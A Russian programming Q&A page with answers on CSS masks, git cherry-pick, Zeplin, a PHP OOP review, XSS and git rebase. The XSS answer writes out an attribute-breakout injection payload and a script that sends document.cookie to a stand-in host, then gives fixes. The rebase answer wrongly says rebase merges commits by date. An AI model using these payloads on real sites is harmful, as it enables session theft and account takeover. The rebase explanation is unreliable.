Задать вопрос
  • Как сверстать такой блок?

    RAX7
    @RAX7
    Сделать для каждой иконки маску и применить эту маску к верхнему бордеру.
    Ответ написан
    5 комментариев
  • Как перенести изменения одной ветки на другую?

    max_front
    @max_front
    frontend
    берешь хэш коммита (его можно узнать используя команду git log), который тебе надо перенести в другую ветку, затем переключаешься на нужную ветку и вводишь git cherry-pick <хэш коммита>, например git cherry-pick 3ea6207fe84 и будет тебе добро
    Ответ написан
    Комментировать
  • Как пользоваться Zeplin?

    Kinderman
    @Kinderman
    Front-end Developer
    Всё верно - чуток детальней опишу процесс).
    В Фотошопе открываю psd и слева в панели всех инструментов первый пункт стоит по умолчанию инструмент "Перемещение". На нем клик правой кнопкой и выбираю Инструмент "Монтажная область".
    Выделяю весь макет этим выделением и в окошке плагина Zeplin, которое уже открыто должно быть (Окно / Расширения / Zeplin) появляется желтая кнопка с надписью: "Export selected artboards to Zeplin".
    Жму на нее. Далее в этом окошке предлагает выбрать проект уже в самом Zeplin - т.е. если не будет создан новый пустой проект в Zeplin то импорта не будет. И жму кнопку Импорт.
    При первом импорте спрашивает еще "выбрать плотность (density) проекта: 1 или 2". Объяснение по этому здесь - https://support.zeplin.io/faq/all-the-measurements...
    Ответ написан
    1 комментарий
  • Насколько у меня правильный код ООП php?

    @D3lphi
    Здесь плохо всё, к сожалению.

    Начнем с того, что вы неверно наследуете классы. Почему у вас класс, отвечающий за подключение к базе данных является родителем класса, работающим с заказами? Наследование применяется, если можно сказать, что что-то является чем-то. Например, разработчик является работником; компьютер является устройством и тд. Здесь же у вас вообще близко такой логике не получится следовать. Вы должны передавать хотя бы объект для работы с бд через инъекцию, например, в конструктор. В идеале, нужно использовать паттерн репозиторий для работы с базой данных.

    Класс SearchOrder у вас не только выполняет запросы, но еще и работает с данными, хранит состояние этих самых данных, фильтрует данные (strip_tags()). Непорядок. Это все нужно разделять. У вас вообще получаются какие-то богообъекты, которые умеют во все.

    Вы каждый раз повторяете строки с подготовкой запроса, биндингом параметров, отправкой запроса и тд. Не думали, что неплохо бы было написать какую-нибудь обертку и выполнять запросы как-нибудь так:
    $result = $wrapper->select("SELECT * FROM `tablename` WHERE `id` = :id", ['id' => 5]);

    ?

    Вы вызываете connect() в методах. То есть, каждый вызов этого метода будет приводить к установке нового соединения с базой данных, даже если оно уже было установлено. Соединение с базой данных это достаточно дорогостоящая операция.

    Зачем вы используете свойства, если можно обойтись обычными локальными переменными:
    $this->orderID = (int) strip_tags($orderID);
    $this->column = (string) strip_tags($column);
    $this->value = (string) strip_tags($value);

    ?

    Почему вы стриппите тэги у идентификатора? вы настолько не уверены в том, что влетает в функцию:
    strip_tags($orderID);
    ?

    Если вы не используете php 7 и, как следствие, скалярный тайпхинтинг, то должны делать проверки на тип входящего аргумента. Если что-то не так с типом, бросаем исключение (А не приводим его к нужному)! Например:
    if (!is_string($arg)) {
        throw new InvalidArgumentTypeException('string', $arg);
    }

    Это в идеале. Вы не обязаны это делать, конечно же. Но вот такие проверки делают приложение безопаснее. Хотя, опять же, повторюсь, в 2017 нужно начинать новые проекты на php 7.1+.

    Ошибки не нужно выводить в этом классе. Вы должны поймать исключение базы данных, преобразовать ее в исключение предметной области и пробросить его дальше и где-то там, на уровне выше вывести информацию пользователю об ошибке. В mvc системе, например, это делается в контроллере.

    Кроме всего прочего, почитайте про стандарты оформления кода. Вы им не следуете.

    Вам пока рано писать такие велосипеды. Судя по всему, у вас нет опыта вообще. Посмотрите готовые решения: фреймворки, ORM, изучите их, хотя бы поверхностно разберитесь, как оно работает и уже потом пробуйте что-то сделать, исходя из полученных знаний.

    Желаю успехов!
    Ответ написан
    1 комментарий
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Git: объясните «на пальцах» разницу между rebase и cherry-pick?

    Все красиво объяснил Nkly777, только в блоке PS merge с rebase перепутаны.
    Добавлю картинок.

    git rebase devel - собачка на молнии - "сшивает" коммиты по дате их создания
    (ветка devel "растворяется" в основной ветке)
    518b8dbce1cd4f96b30de9782ae38fcd.png
    git merge devel - пожарная лестница, все коммиты ветки devel крепятся в конец, образуется пересечение
    (devel остается отдельной веткой, к которой можно вернуться)
    1ba8186d879d46ff85ea7c1e192328e2.png
    git chery-pick idea - забрать коммиты из ветки idea
    2717e3091f644ef2954aa2de4514f446.png
    Ответ написан
    2 комментария